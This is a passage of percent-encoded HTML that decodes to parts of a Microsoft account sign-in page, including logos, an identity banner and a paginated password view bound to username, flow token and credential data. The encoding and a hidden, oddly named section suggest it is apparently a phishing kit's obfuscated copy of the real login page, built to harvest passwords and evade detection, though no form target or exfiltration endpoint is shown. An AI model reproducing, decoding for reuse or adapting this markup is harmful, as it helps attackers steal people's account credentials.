E%61%74%69%6F%6E%43%6F%6E%74%72%6F%6C%4D%65%74%68%6F%64%73%28%29%2E%63%75%72%72%65%6E%74%56%69%65%77%48%61%73%4D%65%74%61%64%61%74%61%28%27%68%69%64%65%4C%6F%67%6F%27%29%29%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%3C%69%6D%67%20%63%6C%61%73%73%3D%22%62%61%63%6B%67%72%6F%75%6E%64%2D%6C%6F%67%6F%22%20%72%6F%6C%65%3D%22%70%72%65%73%65%6E%74%61%74%69%6F%6E%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%64%61%74%61%2D%62%69%6E%64%3D%22%61%74%74%72%3A%20%7B%20%73%72%63%3A%20%62%61%63%6B%67%72%6F%75%6E%64%4C%6F%67%6F%55%72%6C%20%7D%22%20%73%72%63%3D%22%68%74%74%70%73%3A%2F%2F%61%61%64%63%64%6E%2E%6D%73%61%75%74%68%2E%6E%65%74%2F%65%73%74%73%2F%32%2E%31%2F%63%6F%6E%74%65%6E%74%2F%69%6D%61%67%65%73%2F%61%70%70%6C%6F%67%6F%73%2F%35%33%5F%38%62%33%36%33%33%37%30%33%37%63%66%66%38%38%63%33%64%66%32%30%33%62%62%37%33%64%35%38%65%34%31%2E%70%6E%67%22%3E%3C%62%72%2F%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%69%6E%6E%65%72%22%20%64%61%74%61%2D%62%69%6E%64%3D%22%09%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%61%6E%69%6D%61%74%69%6F%6E%45%6E%64%3A%20%70%61%67%69%6E%61%74%69%6F%6E%43%6F%6E%74%72%6F%6C%4D%65%74%68%6F%64%73%28%29%20%26%61%6D%70%3B%26%61%6D%70%3B%20%70%61%67%69%6E%61%74%69%6F%6E%43%6F%6E%74%72%6F%6C%4D%65%74%68%6F%64%73%28%29%2E%76%69%65%77%5F%6F%6E%41%6E%69%6D%61%74%69%6F%6E%45%6E%64%2C%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%63%73%73%3A%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27%61%70%70%27%3A%20%62%61%63%6B%67%72%6F%75%6E%64%4C%6F%67%6F%55%72%6C%2C%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27%77%69%64%65%27%3A%20%70%61%67%69%6E%61%74%69%6F%6E%43%6F%6E%74%72%6F%6C%4D%65%74%68%6F%64%73%28%29%20%26%61%6D%70%3B%26%61%6D%70%3B%20%70%61%67%69%6E%61%74%69%6F%6E%43%6F%6E%74%72%6F%6C%4D%65%74%68%6F%64%73%28%29%2E%63%75%72%72%65%6E%74%56%69%65%77%48%61%73%4D%65%74%61%64%61%74%61%28%27%77%69%64%65%27%29%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27%66%61%64%65%2D%69%6E%2D%6C%69%67%68%74%62%6F%78%27%3A%20%66%61%64%65%49%6E%4C%69%67%68%74%42%6F%78%2C%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27%68%61%73%2D%70%6F%70%75%70%27%3A%20%73%68%6F%77%46%65%64%43%72%65%64%42%75%74%74%6F%6E%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%27%74%72%61%6E%73%70%61%72%65%6E%74%2D%6C%69%67%68%74%62%6F%78%27%3A%20%62%61%63%6B%67%72%6F%75%6E%64%43%6F%6E%74%72%6F%6C%4D%65%74%68%6F%64%73%28%29%20%26%61%6D%70%3B%26%61%6D%70%3B%20%62%61%63%6B%67%72%6F%75%6E%64%43%6F%6E%74%72%6F%6C%4D%65%74%68%6F%64%73%28%29%2E%75%73%65%54%72%61%6E%73%70%61%72%65%6E%74%4C%69%67%68%74%42%6F%78%20%7D%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%6C%69%67%68%74%62%6F%78%2D%63%6F%76%65%72%22%20%64%61%74%61%2D%62%69%6E%64%3D%22%63%73%73%3A%20%7B%20%27%64%69%73%61%62%6C%65%2D%6C%69%67%68%74%62%6F%78%27%3A%20%73%76%72%2E%66%41%6C%6C%6F%77%47%72%61%79%4F%75%74%4C%69%67%68%74%42%6F%78%20%26%61%6D%70%3B%26%61%6D%70%3B%20%73%68%6F%77%4C%69%67%68%74%62%6F%78%50%72%6F%67%72%65%73%73%28%29%20%7D%22%3E%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%64%61%74%61%2D%62%69%6E%64%3D%22%63%6F%6D%70%6F%6E%65%6E%74%3A%20%7B%20%6E%61%6D%65%3A%20%27%6C%6F%67%6F%2D%63%6F%6E%74%72%6F%6C%27%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%70%61%72%61%6D%73%3A%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%69%73%43%68%69%6E%61%44%63%3A%20%73%76%72%2E%66%49%73%43%68%69%6E%61%44%63%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%62%61%6E%6E%65%72%4C%6F%67%6F%55%72%6C%3A%20%62%61%6E%6E%65%72%4C%6F%67%6F%55%72%6C%28%29%20%7D%20%7D%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%69%6D%67%20%63%6C%61%73%73%3D%22%6C%6F%67%6F%22%20%70%6E%67%73%72%63%3D%22%68%74%74%70%73%3A%2F%2F%73%65%63%75%72%65%2E%61%61%64%63%64%6E%2E%6D%69%63%72%6F%73%6F%66%74%6F%6E%6C%69%6E%65%2D%70%2E%63%6F%6D%2F%65%73%74%73%2F%32%2E%31%2E%38%35%37%36%2E%31%33%2F%63%6F%6E%74%65%6E%74%2F%69%6D%61%67%65%73%2F%6D%69%63%72%6F%73%6F%66%74%5F%6C%6F%67%6F%5F%65%64%39%63%39%65%62%30%64%63%65%31%37%64%37%35%32%62%65%64%65%61%36%62%35%61%63%64%61%36%64%39%2E%70%6E%67%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%73%76%67%73%72%63%3D%22%68%74%74%70%73%3A%2F%2F%73%65%63%75%72%65%2E%61%61%64%63%64%6E%2E%6D%69%63%72%6F%73%6F%66%74%6F%6E%6C%69%6E%65%2D%70%2E%63%6F%6D%2F%65%73%74%73%2F%32%2E%31%2E%38%35%37%36%2E%31%33%2F%63%6F%6E%74%65%6E%74%2F%69%6D%61%67%65%73%2F%6D%69%63%72%6F%73%6F%66%74%5F%6C%6F%67%6F%5F%65%65%35%63%38%64%39%66%62%36%32%34%38%63%39%33%38%66%64%30%64%63%31%39%33%37%30%65%39%30%62%64%2E%73%76%67%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%64%61%74%61%2D%62%69%6E%64%3D%22%69%6D%67%53%72%63%2C%20%61%74%74%72%3A%20%7B%20%61%6C%74%3A%20%73%74%72%5B%27%4D%4F%42%49%4C%45%5F%53%54%52%5F%46%6F%6F%74%65%72%5F%4D%69%63%72%6F%73%6F%66%74%27%5D%20%7D%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%73%72%63%3D%22%68%74%74%70%73%3A%2F%2F%73%65%63%75%72%65%2E%61%61%64%63%64%6E%2E%6D%69%63%72%6F%73%6F%66%74%6F%6E%6C%69%6E%65%2D%70%2E%63%6F%6D%2F%65%73%74%73%2F%32%2E%31%2E%38%35%37%36%2E%31%33%2F%63%6F%6E%74%65%6E%74%2F%69%6D%61%67%65%73%2F%6D%69%63%72%6F%73%6F%66%74%5F%6C%6F%67%6F%5F%65%65%35%63%38%64%39%66%62%36%32%34%38%63%39%33%38%66%64%30%64%63%31%39%33%37%30%65%39%30%62%64%2E%73%76%67%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%61%6C%74%3D%22%4D%69%63%72%6F%73%6F%66%74%22%3E%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%73%76%72%2E%73%74%72%4C%57%41%44%69%73%63%6C%61%69%6D%65%72%4D%73%67%20%26%26%20%28%70%61%67%69%6E%61%74%69%6F%6E%43%6F%6E%74%72%6F%6C%4D%65%74%68%6F%64%73%28%29%20%26%26%20%21%70%61%67%69%6E%61%74%69%6F%6E%43%6F%6E%74%72%6F%6C%4D%65%74%68%6F%64%73%28%29%2E%63%75%72%72%65%6E%74%56%69%65%77%48%61%73%4D%65%74%61%64%61%74%61%28%27%68%69%64%65%4C%77%61%44%69%73%63%6C%61%69%6D%65%72%27%29%29%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%70%61%73%73%5F%73%65%63%74%69%6F%6E%5F%78%79%7A%22%20%73%74%79%6C%65%3D%22%64%69%73%70%6C%61%79%3A%20%6E%6F%6E%65%22%20%72%6F%6C%65%3D%22%6D%61%69%6E%22%20%64%61%74%61%2D%62%69%6E%64%3D%22%63%6F%6D%70%6F%6E%65%6E%74%3A%20%7B%20%6E%61%6D%65%3A%20%27%70%61%67%69%6E%61%74%69%6F%6E%2D%63%6F%6E%74%72%6F%6C%27%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%70%75%62%6C%69%63%4D%65%74%68%6F%64%73%3A%20%70%61%67%69%6E%61%74%69%6F%6E%43%6F%6E%74%72%6F%6C%4D%65%74%68%6F%64%73%2C%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%70%61%72%61%6D%73%3A%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%65%6E%61%62%6C%65%43%73%73%41%6E%69%6D%61%74%69%6F%6E%3A%20%73%76%72%2E%41%5A%2C%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%69%6E%69%74%69%61%6C%56%69%65%77%49%64%3A%20%69%6E%69%74%69%61%6C%56%69%65%77%49%64%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%63%75%72%72%65%6E%74%56%69%65%77%49%64%3A%20%63%75%72%72%65%6E%74%56%69%65%77%49%64%2C%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%69%6E%69%74%69%61%6C%53%68%61%72%65%64%44%61%74%61%3A%20%69%6E%69%74%69%61%6C%53%68%61%72%65%64%44%61%74%61%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%69%6E%69%74%69%61%6C%45%72%72%6F%72%3A%20%24%6C%6F%67%69%6E%50%61%67%65%2E%67%65%74%53%65%72%76%65%72%45%72%72%6F%72%28%29%20%7D%2C%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%65%76%65%6E%74%3A%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%63%61%6E%63%65%6C%3A%20%70%61%67%69%6E%61%74%69%6F%6E%43%6F%6E%74%72%6F%6C%5F%6F%6E%43%61%6E%63%65%6C%2C%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%73%68%6F%77%56%69%65%77%3A%20%24%6C%6F%67%69%6E%50%61%67%65%2E%76%69%65%77%5F%6F%6E%53%68%6F%77%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%73%65%74%4C%69%67%68%74%42%6F%78%46%61%64%65%49%6E%3A%20%76%69%65%77%5F%6F%6E%53%65%74%4C%69%67%68%74%42%6F%78%46%61%64%65%49%6E%2C%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%61%6E%69%6D%61%74%69%6F%6E%53%74%61%74%65%43%68%61%6E%67%65%3A%20%70%61%67%69%6E%61%74%69%6F%6E%43%6F%6E%74%72%6F%6C%5F%6F%6E%41%6E%69%6D%61%74%69%6F%6E%53%74%61%74%65%43%68%61%6E%67%65%20%7D%20%7D%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%64%61%74%61%2D%62%69%6E%64%3D%22%63%73%73%3A%20%7B%20%27%7A%65%72%6F%2D%6F%70%61%63%69%74%79%27%3A%20%68%69%64%65%50%61%67%69%6E%61%74%65%64%56%69%65%77%28%29%20%7D%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%73%68%6F%77%49%64%65%6E%74%69%74%79%42%61%6E%6E%65%72%28%29%20%26%26%20%28%73%68%61%72%65%64%44%61%74%61%2E%64%69%73%70%6C%61%79%4E%61%6D%65%20%7C%7C%20%73%76%72%2E%67%29%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%64%61%74%61%2D%62%69%6E%64%3D%22%63%73%73%3A%20%7B%0A%20%20%20%20%20%20%20%20%27%61%6E%69%6D%61%74%65%27%3A%20%61%6E%69%6D%61%74%65%28%29%20%26%61%6D%70%3B%26%61%6D%70%3B%20%61%6E%69%6D%61%74%65%2E%61%6E%69%6D%61%74%65%42%61%6E%6E%65%72%28%29%2C%20%20%20%20%20%20%20%20%27%73%6C%69%64%65%2D%6F%75%74%2D%6E%65%78%74%27%3A%20%61%6E%69%6D%61%74%65%2E%69%73%53%6C%69%64%65%4F%75%74%4E%65%78%74%28%29%2C%0A%20%20%20%20%20%20%20%20%27%73%6C%69%64%65%2D%69%6E%2D%6E%65%78%74%27%3A%20%61%6E%69%6D%61%74%65%2E%69%73%53%6C%69%64%65%49%6E%4E%65%78%74%28%29%2C%20%20%20%20%20%20%20%20%27%73%6C%69%64%65%2D%6F%75%74%2D%62%61%63%6B%27%3A%20%61%6E%69%6D%61%74%65%2E%69%73%53%6C%69%64%65%4F%75%74%42%61%63%6B%28%29%2C%0A%20%20%20%20%20%20%20%20%27%73%6C%69%64%65%2D%69%6E%2D%62%61%63%6B%27%3A%20%61%6E%69%6D%61%74%65%2E%69%73%53%6C%69%64%65%49%6E%42%61%63%6B%28%29%20%7D%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%64%61%74%61%2D%62%69%6E%64%3D%22%63%6F%6D%70%6F%6E%65%6E%74%3A%20%7B%20%6E%61%6D%65%3A%20%27%69%64%65%6E%74%69%74%79%2D%62%61%6E%6E%65%72%2D%63%6F%6E%74%72%6F%6C%27%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%70%61%72%61%6D%73%3A%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%70%61%77%6E%49%63%6F%6E%49%64%3A%20%73%76%72%2E%62%74%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%75%73%65%72%54%69%6C%65%55%72%6C%3A%20%73%76%72%2E%42%69%2C%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%64%69%73%70%6C%61%79%4E%61%6D%65%3A%20%73%68%61%72%65%64%44%61%74%61%2E%64%69%73%70%6C%61%79%4E%61%6D%65%20%7C%7C%20%73%76%72%2E%67%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%69%73%42%61%63%6B%42%75%74%74%6F%6E%56%69%73%69%62%6C%65%3A%20%69%73%42%61%63%6B%42%75%74%74%6F%6E%56%69%73%69%62%6C%65%28%29%2C%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%66%6F%63%75%73%4F%6E%42%61%63%6B%42%75%74%74%6F%6E%3A%20%69%73%42%61%63%6B%42%75%74%74%6F%6E%46%6F%63%75%73%65%64%28%29%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%62%61%63%6B%42%75%74%74%6F%6E%44%65%73%63%72%69%62%65%64%42%79%3A%20%62%61%63%6B%42%75%74%74%6F%6E%44%65%73%63%72%69%62%65%64%42%79%28%29%20%7D%2C%20%20%20%20%20%20%20%20%20%20%20%20%65%76%65%6E%74%3A%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%62%61%63%6B%42%75%74%74%6F%6E%43%6C%69%63%6B%3A%20%69%64%65%6E%74%69%74%79%42%61%6E%6E%65%72%5F%6F%6E%42%61%63%6B%42%75%74%74%6F%6E%43%6C%69%63%6B%20%7D%20%7D%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%69%64%65%6E%74%69%74%79%42%61%6E%6E%65%72%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%69%73%42%61%63%6B%42%75%74%74%6F%6E%56%69%73%69%62%6C%65%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%69%64%3D%22%64%69%73%70%6C%61%79%4E%61%6D%65%22%20%63%6C%61%73%73%3D%22%69%64%65%6E%74%69%74%79%22%20%64%61%74%61%2D%62%69%6E%64%3D%22%74%65%78%74%3A%20%75%6E%73%61%66%65%5F%64%69%73%70%6C%61%79%4E%61%6D%65%2C%20%61%74%74%72%3A%20%7B%20%27%74%69%74%6C%65%27%3A%20%75%6E%73%61%66%65%5F%64%69%73%70%6C%61%79%4E%61%6D%65%20%7D%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%74%69%74%6C%65%3D%22%22%3E%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%6E%6F%74%3A%20%73%76%72%2E%48%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%70%61%67%69%6E%61%74%69%6F%6E%2D%76%69%65%77%20%68%61%73%2D%69%64%65%6E%74%69%74%79%2D%62%61%6E%6E%65%72%22%20%64%61%74%61%2D%62%69%6E%64%3D%22%63%73%73%3A%20%7B%0A%20%20%20%20%20%20%20%20%27%68%61%73%2D%69%64%65%6E%74%69%74%79%2D%62%61%6E%6E%65%72%27%3A%20%73%68%6F%77%49%64%65%6E%74%69%74%79%42%61%6E%6E%65%72%28%29%20%26%61%6D%70%3B%26%61%6D%70%3B%20%28%73%68%61%72%65%64%44%61%74%61%2E%64%69%73%70%6C%61%79%4E%61%6D%65%20%7C%7C%20%73%76%72%2E%67%29%2C%20%20%20%20%20%20%20%20%27%7A%65%72%6F%2D%6F%70%61%63%69%74%79%27%3A%20%68%69%64%65%50%61%67%69%6E%61%74%65%64%56%69%65%77%2E%68%69%64%65%53%75%62%56%69%65%77%28%29%2C%0A%20%20%20%20%20%20%20%20%27%61%6E%69%6D%61%74%65%27%3A%20%61%6E%69%6D%61%74%65%28%29%2C%20%20%20%20%20%20%20%20%27%73%6C%69%64%65%2D%6F%75%74%2D%6E%65%78%74%27%3A%20%61%6E%69%6D%61%74%65%2E%69%73%53%6C%69%64%65%4F%75%74%4E%65%78%74%28%29%2C%0A%20%20%20%20%20%20%20%20%27%73%6C%69%64%65%2D%69%6E%2D%6E%65%78%74%27%3A%20%61%6E%69%6D%61%74%65%2E%69%73%53%6C%69%64%65%49%6E%4E%65%78%74%28%29%2C%20%20%20%20%20%20%20%20%27%73%6C%69%64%65%2D%6F%75%74%2D%62%61%63%6B%27%3A%20%61%6E%69%6D%61%74%65%2E%69%73%53%6C%69%64%65%4F%75%74%42%61%63%6B%28%29%2C%0A%20%20%20%20%20%20%20%20%27%73%6C%69%64%65%2D%69%6E%2D%62%61%63%6B%27%3A%20%61%6E%69%6D%61%74%65%2E%69%73%53%6C%69%64%65%49%6E%42%61%63%6B%28%29%20%7D%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%66%6F%72%65%61%63%68%3A%20%76%69%65%77%73%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%24%70%61%72%65%6E%74%2E%63%75%72%72%65%6E%74%56%69%65%77%49%6E%64%65%78%28%29%20%3D%3D%3D%20%24%69%6E%64%65%78%28%29%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%2F%6B%6F%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%69%66%3A%20%24%70%61%72%65%6E%74%2E%63%75%72%72%65%6E%74%56%69%65%77%49%6E%64%65%78%28%29%20%3D%3D%3D%20%24%69%6E%64%65%78%28%29%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%21%2D%2D%20%6B%6F%20%74%65%6D%70%6C%61%74%65%3A%20%7B%20%6E%6F%64%65%73%3A%20%5B%24%64%61%74%61%5D%2C%20%64%61%74%61%3A%20%24%70%61%72%65%6E%74%20%7D%20%2D%2D%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%64%69%76%20%64%61%74%61%2D%76%69%65%77%69%64%3D%22%32%22%20%64%61%74%61%2D%73%68%6F%77%69%64%65%6E%74%69%74%79%62%61%6E%6E%65%72%3D%22%74%72%75%65%22%20%64%61%74%61%2D%64%79%6E%61%6D%69%63%62%72%61%6E%64%69%6E%67%3D%22%74%72%75%65%22%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%64%61%74%61%2D%62%69%6E%64%3D%22%70%61%67%65%56%69%65%77%43%6F%6D%70%6F%6E%65%6E%74%3A%20%7B%20%6E%61%6D%65%3A%20%27%6C%6F%67%69%6E%2D%70%61%67%69%6E%61%74%65%64%2D%70%61%73%73%77%6F%72%64%2D%76%69%65%77%27%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%70%61%72%61%6D%73%3A%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%73%65%72%76%65%72%44%61%74%61%3A%20%73%76%72%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%73%65%72%76%65%72%45%72%72%6F%72%3A%20%69%6E%69%74%69%61%6C%45%72%72%6F%72%2C%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%69%73%49%6E%69%74%69%61%6C%56%69%65%77%3A%20%69%73%49%6E%69%74%69%61%6C%53%74%61%74%65%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%75%73%65%72%6E%61%6D%65%3A%20%73%68%61%72%65%64%44%61%74%61%2E%75%73%65%72%6E%61%6D%65%2C%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%64%69%73%70%6C%61%79%4E%61%6D%65%3A%20%73%68%61%72%65%64%44%61%74%61%2E%64%69%73%70%6C%61%79%4E%61%6D%65%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%68%69%70%52%65%71%75%69%72%65%64%46%6F%72%55%73%65%72%6E%61%6D%65%3A%20%73%68%61%72%65%64%44%61%74%61%2E%68%69%70%52%65%71%75%69%72%65%64%46%6F%72%55%73%65%72%6E%61%6D%65%2C%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%70%61%73%73%77%6F%72%64%42%72%6F%77%73%65%72%50%72%65%66%69%6C%6C%3A%20%73%68%61%72%65%64%44%61%74%61%2E%70%61%73%73%77%6F%72%64%42%72%6F%77%73%65%72%50%72%65%66%69%6C%6C%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%61%76%61%69%6C%61%62%6C%65%43%72%65%64%73%3A%20%73%68%61%72%65%64%44%61%74%61%2E%61%76%61%69%6C%61%62%6C%65%43%72%65%64%73%2C%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%66%6C%6F%77%54%6F%6B%65%6E%3A%20%73%68%61%72%65%64%44%61%74%61%2E%66%6C%6F%77%54%6F%6B%65%6E%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%64%65%66%61%75%6C%74%4B%6D%73%69%56%61%6C%75%65%3A%20%73%76%72%2E%77%20%3D%3D%3D%20%31%2C%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%75%73%65%72%54%65%6E%61%6E%74%42%72%61%6E%64%69%6E%67%3A%20%73%68%61%72%65%64%44%61%74%61%2E%75%73%65%72%54%65%6E%61%6E%74%42%72%61%6E%64%69%6E%67%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%73%65%73%73%69%6F%6E%73%3A%20%73%68%61%72%65%64%44%61%74%61%2E%73%65%73%73%69%6F%6E%73%2C%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%63%61%6C%6C%4D%65%74%61%64%61%74%61%3A%20%73%68%61%72%65%64%44%61%74%61%2E%63%61%6C%6C%4D%65%74%61%64%61%74%61%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%67%69%74%48%75%62%52%65%64%69%72%65%63%74%55%72%6C%3A%20%73%68%61%72%65%64%44%61%74%61%2E%67%69%74%48%75%62%50%61%72%61%6D%73%2E%72%65%64%69%72%65%63%74%55%72%6C%20%7C%7C%20%73%76%72%2E%4D%20%7D%2C%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%65%76%65%6E%74%3A%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%75%70%64%61%74%65%46%6C%6F%77%54%6F%6B%65%6E%3A%20%24%6C%6F%67%69%6E%50%61%67%65%2E%76%69%65%77%5F%6F%6E%55%70%64%61%74%65%46%6C%6F%77%54%6F%6B%65%6E%2C%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%73%75%62%6D%69%74%52%65%61%64%79%3A%20%24%6C%6F%67%69%6E%50%61%67%65%2E%76%69%65%77%5F%6F%6E%53%75%62%6D%69%74%52%65%61%64%79%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%72%65%64%69%72%65%63%74%3A%20%24%6C%6F%67%69%6E%50%61%67%65%2E%76%69%65%77%5F%6F%6E%52%65%64%69%72%65%63%74%2C%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%72%65%73%65%74%50%61%73%73%77%6F%72%64%3A%20%24%6C%6F%67%69%6E%50%61%67%65%2E%70%61%73%